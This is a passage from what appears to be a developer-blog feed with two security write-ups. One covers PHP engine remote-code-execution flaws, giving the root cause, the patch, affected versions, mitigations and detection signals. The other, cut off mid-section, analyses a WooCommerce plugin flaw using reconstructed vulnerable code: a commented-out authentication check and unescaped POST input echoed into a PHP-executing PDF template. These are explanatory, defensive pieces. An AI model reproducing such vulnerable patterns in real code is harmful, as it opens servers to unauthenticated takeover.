&lt;td&gt;Before any application code runs — during PHP's own request-parsing stage&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Blockable by auth?&lt;/td&gt;
&lt;td&gt;No — it fires earlier than any authentication logic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected PHP&lt;/td&gt;
&lt;td&gt;5.4 through 8.5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected runtimes&lt;/td&gt;
&lt;td&gt;Apache mod_php, PHP-FPM, php-cgi, FrankenPHP, LiteSpeed — any PHP runtime that serves HTTP requests&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Representative affected software&lt;/td&gt;
&lt;td&gt;WordPress, Magento, Drupal, Joomla, MediaWiki, Roundcube, phpMyAdmin, Nextcloud, Laravel, and more&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exploited in the wild?&lt;/td&gt;
&lt;td&gt;Yes — attack attempts captured by Amazon's MadPot honeypot as early as October 17, 2026, four days before public disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discovered by&lt;/td&gt;
&lt;td&gt;Calif (researcher Ryan Austin, via OpenAI's "Patch the Planet" project), independently also found by Wiz Research&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The line that matters most here is "Blockable by auth?". Unlike a typical web vulnerability, no amount of hardened login logic or application-layer defense can stop this — PHP's own engine processes the malicious request before your code ever gets a chance to run.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. What the two CVEs have in common: treating an interrupted operation as complete
&lt;/h2&gt;

&lt;p&gt;Both CVEs live in different code paths, but they share the same root pattern:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A fatal error interrupts PHP mid-operation, and PHP later treats that incomplete state as if it were valid.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  CVE-2026-109618 — RCE via out-of-memory (OOM) corruption
&lt;/h3&gt;

&lt;p&gt;When PHP converts form submissions into the &lt;code&gt;$_POST&lt;/code&gt; array, it inserts keys and values into an internal hash table in a specific order: first it bumps the entry counters, then it allocates memory for the key. If that allocation exceeds &lt;code&gt;memory_limit&lt;/code&gt; and fails in between those two steps, PHP raises a fatal error and abandons the insertion — but the counters already reflect the new entry, even though its key and value were never initialized. During cleanup at the end of the request, PHP trusts those counters and interprets the uninitialized memory as a legitimate PHP value.&lt;/p&gt;

&lt;h3&gt;
  
  
  CVE-2026-109619 — RCE via stale global state
&lt;/h3&gt;

&lt;p&gt;A single PHP-FPM or mod_php worker process handles many requests over its lifetime. Certain worker-wide fields (such as upload-progress tracking or fatal-error backtrace state) are meant to belong to a single request, but in some paths they aren't properly reset before the next request begins. This is a classic use-after-free: a later request follows a stale pointer into memory that's already been freed and possibly reused. Because PHP's session upload-progress tracking is &lt;strong&gt;enabled by default&lt;/strong&gt; and runs even without an explicit &lt;code&gt;session_start()&lt;/code&gt; call, almost any script that accepts multipart uploads is in the attack surface.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Source code: the root cause behind CVE-2026-109618
&lt;/h2&gt;

&lt;p&gt;This is the actual pre-patch snippet from PHP's internal hash-table function, as analyzed and published by security researchers. This is &lt;strong&gt;not exploit code&lt;/strong&gt; — it's the location of the bug in PHP's own engine source.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Zend/zend_hash.c — inside _zend_hash_str_add_or_update_i()&lt;/span&gt;
&lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ht&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;nNumUsed&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ht&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;nNumOfElements&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ht&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;arData&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;zend_string_init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;GC_FLAGS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ht&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;IS_ARRAY_PERSISTENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the length of an attacker-supplied key exceeds &lt;code&gt;memory_limit&lt;/code&gt;, PHP throws a fatal error and gives up on the insertion — but at that point the counters already count the new bucket, while the bucket's key and value were never initialized.&lt;/p&gt;

&lt;h3&gt;
  
  
  Line-by-line breakdown
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Line&lt;/th&gt;
&lt;th&gt;What it does&lt;/th&gt;
&lt;th&gt;The problem&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;idx = ht-&amp;gt;nNumUsed++;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Increments the hash table's "slots used" counter&lt;/td&gt;
&lt;td&gt;The count goes up before anything has actually been written&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ht-&amp;gt;nNumOfElements++;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Increments the "element count" too&lt;/td&gt;
&lt;td&gt;Same pre-emptive bookkeeping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;p = ht-&amp;gt;arData + idx;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Grabs a pointer to that slot&lt;/td&gt;
&lt;td&gt;At this point, whatever &lt;code&gt;p&lt;/code&gt; points to is empty — or still holds leftover data from an earlier allocation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;p-&amp;gt;key = key = zend_string_init(...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Allocates fresh memory for the key string and fills it in&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;If this exact allocation fails&lt;/strong&gt;, the three lines above have already executed and can't be rolled back&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In short: the code counts first and fills in content second. If &lt;code&gt;zend_string_init()&lt;/code&gt; fails due to memory exhaustion on that fourth line, the hash table believes it has one more element than it actually initialized — and whatever bytes happen to sit at that slot (empty, or leftover from a previous allocation) are what get read later.&lt;/p&gt;

&lt;h3&gt;
  
  
  What happens when the request ends
&lt;/h3&gt;

&lt;p&gt;PHP still runs its normal teardown of &lt;code&gt;$_POST&lt;/code&gt; at the end of the request. During that teardown, it walks every counted bucket and interprets its contents as a PHP value — including the "incomplete" bucket we just looked at. If the bytes sitting in that slot aren't random but were deliberately placed there by an attacker, the cleanup code follows them as if they were a real array structure. The moment it invokes the "destructor callback" embedded in that fake structure, an attacker-chosen function (such as &lt;code&gt;system()&lt;/code&gt;) runs with attacker-chosen arguments.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. How the attack actually plays out (conceptual overview)
&lt;/h2&gt;

&lt;p&gt;We're deliberately &lt;strong&gt;not&lt;/strong&gt; publishing the exact payload layout or the heap-grooming technique — with a large number of servers still unpatched, a reproducible recipe would be directly weaponizable. What follows is the mechanism at a conceptual level, based on public security research (Datadog, JFrog, watchTowr, and others). The attack breaks down into three stages:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Force memory exhaustion at a precise moment&lt;/strong&gt;: the attacker crafts a form field sized so that an internal PHP allocation fails at exactly the vulnerable point.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Seed the unfinished memory slot with chosen bytes&lt;/strong&gt;: by exploiting heap-reuse patterns, the attacker arranges for the uninitialized memory region to contain bytes of their choosing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Turn cleanup into a function call&lt;/strong&gt;: when PHP tears down the request, it misreads the planted data as a valid array and invokes the embedded callback — effectively calling something like &lt;code&gt;system()&lt;/code&gt; with the attacker's command.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This also typically requires defeating ASLR (address space layout randomization) to find valid memory addresses. Researchers have reported that PHP's upload-progress feature can leak fragments of process memory back to the client via the &lt;code&gt;PHPSESSID&lt;/code&gt; cookie — an auxiliary information-disclosure path attackers can use to make the exploit more reliable.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fukvr2abug4769aiiibe2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fukvr2abug4769aiiibe2.png" alt=" " width="800" height="559"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Summary of the flow:
Request initialization fails (memory_limit exceeded)
  → $_POST teardown runs at request shutdown
  → PHP misinterprets the unfinished bucket as a "valid array"
  → Destroying that fake array invokes its callback
  → system(attacker's command) executes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8ts6mkotaqq3q0bzjxe7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8ts6mkotaqq3q0bzjxe7.png" alt=" " width="800" height="327"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;What's deliberately left out is exactly which bytes get planted in that unfinished slot, and through what request. That part — the heap-grooming technique, precise field sizing, and memory-leak method — is what actually makes the attack reproducible, and we're not including it while so many servers remain unpatched.&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/vTO41o8yS60" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h3&gt;
  
  
  How the patch fixes it
&lt;/h3&gt;

&lt;p&gt;The patch changes how memory exhaustion interrupts execution. Hitting a soft limit now defers the error to a safe point, letting an in-progress operation finish initializing its data; crossing a higher hard limit instead terminates the worker immediately, skipping the normal teardown over potentially invalid state. Interestingly, the hash-table insertion still increments its counters before allocating the key — even in the patched version. Only the surrounding error-handling behavior changed. That means the broader pattern — updating metadata before the memory it describes is actually allocated — may still exist elsewhere in PHP, and researchers expect more bugs following this same shape to surface over time.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Timeline
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-01&lt;/td&gt;
&lt;td&gt;Security firm Calif discovers multiple RCE paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-11&lt;/td&gt;
&lt;td&gt;Calif reports the first bug to PHP, starting coordinated disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-08-24&lt;/td&gt;
&lt;td&gt;Wiz Research independently reports the vulnerabilities to PHP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-17&lt;/td&gt;
&lt;td&gt;AWS MadPot honeypot detects exploitation attempts before public disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-20&lt;/td&gt;
&lt;td&gt;Details leak; watchTowr confirms remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-21 07:43&lt;/td&gt;
&lt;td&gt;Cloudflare reports early attack activity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2026-10-21 14:00&lt;/td&gt;
&lt;td&gt;PHP ships patched releases; vulnerabilities officially disclosed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  6. Affected versions and fixes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;PHP branch&lt;/th&gt;
&lt;th&gt;Affected&lt;/th&gt;
&lt;th&gt;Fixed in&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;8.2.x&lt;/td&gt;
&lt;td&gt;Before 8.2.35&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.2.35&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.3.x&lt;/td&gt;
&lt;td&gt;Before 8.3.36&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.3.36&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.4.x&lt;/td&gt;
&lt;td&gt;Before 8.4.27&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.4.27&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8.5.x&lt;/td&gt;
&lt;td&gt;Before 8.5.12&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;8.5.12&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.4 / 8.0 / 8.1&lt;/td&gt;
&lt;td&gt;All versions&lt;/td&gt;
&lt;td&gt;No official release; minimal source backports provided&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.3 and earlier&lt;/td&gt;
&lt;td&gt;All versions&lt;/td&gt;
&lt;td&gt;No fix; upgrade to a supported branch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Any PHP runtime that serves HTTP requests is in scope — Apache mod_php, PHP-FPM, php-cgi, FrankenPHP, LiteSpeed, and container images that bundle their own PHP interpreter all need to be checked.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. How to respond
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Patching is the only complete fix.&lt;/strong&gt; Everything below is a stopgap, not a cure.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Update to PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 or later as soon as possible&lt;/li&gt;
&lt;li&gt;If you use vendor packages (Debian, RHEL-family, etc.), check the vendor's own security advisory&lt;/li&gt;
&lt;li&gt;Rebuild affected container images and restart or replace every worker — stale runtimes can linger in memory otherwise&lt;/li&gt;
&lt;li&gt;If you can't patch immediately:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-109618&lt;/strong&gt;: enforce &lt;code&gt;memory_limit=-1&lt;/code&gt; at the administrator level, paired with request- and memory-size limits at the frontend/container layer. Don't substitute process-level limits like &lt;code&gt;RLIMIT_AS&lt;/code&gt;/&lt;code&gt;RLIMIT_DATA&lt;/code&gt; — they can actually make the triggering allocation failures easier to hit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVE-2026-109619&lt;/strong&gt;: set &lt;code&gt;session.upload_progress.enabled=0&lt;/code&gt;, and on PHP 8.5, &lt;code&gt;fatal_error_backtraces=0&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Until patched, consider isolating internet-facing applications or blocking anomalous requests at a reverse proxy before they reach PHP&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  8. Detection signals
&lt;/h2&gt;

&lt;p&gt;No single signal is conclusive, but correlating these three layers helps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unusual form submissions&lt;/strong&gt;: abnormally long field names, unexpected control bytes or null bytes in the request body&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Memory-exhaustion errors in logs&lt;/strong&gt;: fatal errors like &lt;code&gt;Unknown on line 0&lt;/code&gt;, which indicate failure during request initialization — before any script even started running&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unexpected shell processes spawned by web workers&lt;/strong&gt;: an Apache or PHP-FPM process spawning &lt;code&gt;sh&lt;/code&gt;, &lt;code&gt;bash&lt;/code&gt;, etc. is the most direct evidence of successful exploitation&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A successful exploit doesn't necessarily crash the worker or return an error response — an HTTP 200 doesn't mean the request was harmless.&lt;/p&gt;

</description>
      <category>php</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>programming</category>
    </item>
    <item>
      <title>CVE-2026-103889: One Commented-Out Security Check Led to Fully Unauthenticated RCE (CVSS 9.8)</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Wed, 21 Oct 2026 22:39:37 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-103889-one-commented-out-security-check-led-to-fully-unauthenticated-rce-cvss-98-48k8</link>
      <guid>https://dev.to/guidance_white/cve-2026-103889-one-commented-out-security-check-led-to-fully-unauthenticated-rce-cvss-98-48k8</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcqctsj7182l7t33p9aqg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fcqctsj7182l7t33p9aqg.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-103889&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;3D Product configurator for WooCommerce (Expivi, a WordPress plugin)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;All versions up to and including 2.16.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2.16.3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — &lt;code&gt;AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Officially classified as CWE-434 (Unrestricted Upload of File with Dangerous Type) — though the actual mechanism is closer to code injection (CWE-94), where a value inserted into a template ends up executed as PHP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;None at all&lt;/strong&gt; — no login, no nonce, no credentials of any kind&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;Osman Hussein (Onvio B.V.), via Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Disclosed&lt;/td&gt;
&lt;td&gt;Reserved 2026-10-01, published 2026-10-09–10&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is a case where "what went wrong" is unusually easy to summarize in one sentence. &lt;strong&gt;An authentication check that was supposed to run before the server processed a request had been entirely commented out somewhere in the code, and left that way.&lt;/strong&gt; And, as it happens, the exact value that handler deals with flowed straight into a PDF-generation engine capable of executing PHP code. Remove either half of that combination, and this would never have reached the severity of fully unauthenticated remote code execution.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the flaw lives — generating a quote PDF
&lt;/h2&gt;

&lt;p&gt;Expivi's 3D Product Configurator lets a customer customize a product in 3D and then receive the result as a PDF quote or order form. Actually rendering that PDF is handled by a template file, &lt;code&gt;templates/pdf/pdf-configuration-details.phtml&lt;/code&gt;, together with a library called &lt;code&gt;Dompdf&lt;/code&gt; that converts that template into an actual PDF binary. The entry point driving this whole flow is a handler hooked to WordPress's &lt;code&gt;wp_loaded&lt;/code&gt; action, inside &lt;code&gt;classes/woocommerce/class-expivi-cart-manager.php&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — Flaw #1: the only auth check was entirely wrapped in a comment
&lt;/h3&gt;

&lt;p&gt;Wordfence's official advisory describes this point with unusually specific wording: &lt;strong&gt;"the only nonce and authentication check in the handler is entirely enclosed in a block comment with no replacement."&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// class-expivi-cart-manager.php — reconstructed from the public advisory's description&lt;/span&gt;
&lt;span class="nf"&gt;add_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'wp_loaded'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'handle_pdf_request'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle_pdf_request&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'xpv_action'&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'xpv_action'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="s1"&gt;'generate_pdf'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cm"&gt;/*
    if (!isset($_POST['nonce']) || !wp_verify_nonce($_POST['nonce'], 'xpv_pdf_action')) {
        wp_die('Unauthorized');
    }
    if (!is_user_logged_in()) {
        wp_die('Unauthorized');
    }
    */&lt;/span&gt;

    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;generate_configuration_pdf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This check block clearly existed at some point. Whether the intent was "temporarily disable this for debugging" or something else, it got commented out entirely and stayed that way in the publicly distributed release. As a result, this handler — hooked to &lt;code&gt;wp_loaded&lt;/code&gt; — proceeds straight to the next logic &lt;strong&gt;without checking whether the request is logged in, or where it even came from.&lt;/strong&gt; As multiple bug reports note, this means the handler is reachable from essentially any URL on the site — &lt;code&gt;wp_loaded&lt;/code&gt; fires very early in WordPress's request lifecycle, regardless of what page or endpoint is actually being hit.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — Flaw #2: the &lt;code&gt;xpv_image&lt;/code&gt; value flows into the PDF template unvalidated and unescaped
&lt;/h3&gt;

&lt;p&gt;Having passed the auth check (effectively having passed nothing at all), the handler reads the image path meant for the PDF straight from &lt;code&gt;$_POST['xpv_image']&lt;/code&gt; and hands it to the template.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;// templates/pdf/pdf-configuration-details.phtml — reconstructed from the public advisory
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"configuration-image"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt; &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'xpv_image'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Configuration preview"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No escaping function — &lt;code&gt;htmlspecialchars()&lt;/code&gt;, &lt;code&gt;esc_attr()&lt;/code&gt;, anything — is used at all. Whatever the attacker puts into &lt;code&gt;xpv_image&lt;/code&gt; gets reflected into the template &lt;strong&gt;as raw HTML, not as an attribute value.&lt;/strong&gt; Up to this point, this could pass for an ordinary stored XSS. What completely changes the weight class of this flaw is where that template goes next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — the root cause: this HTML gets rendered by a Dompdf instance with PHP execution turned on
&lt;/h3&gt;

&lt;p&gt;The finished template — HTML now mixed with whatever the attacker injected — gets handed to Dompdf to convert into a PDF. Dompdf has an option called &lt;code&gt;isPhpEnabled&lt;/code&gt;, and when it's turned on, it &lt;strong&gt;executes any &lt;code&gt;&amp;lt;?php ... ?&amp;gt;&lt;/code&gt; block embedded in the HTML document during PDF rendering.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
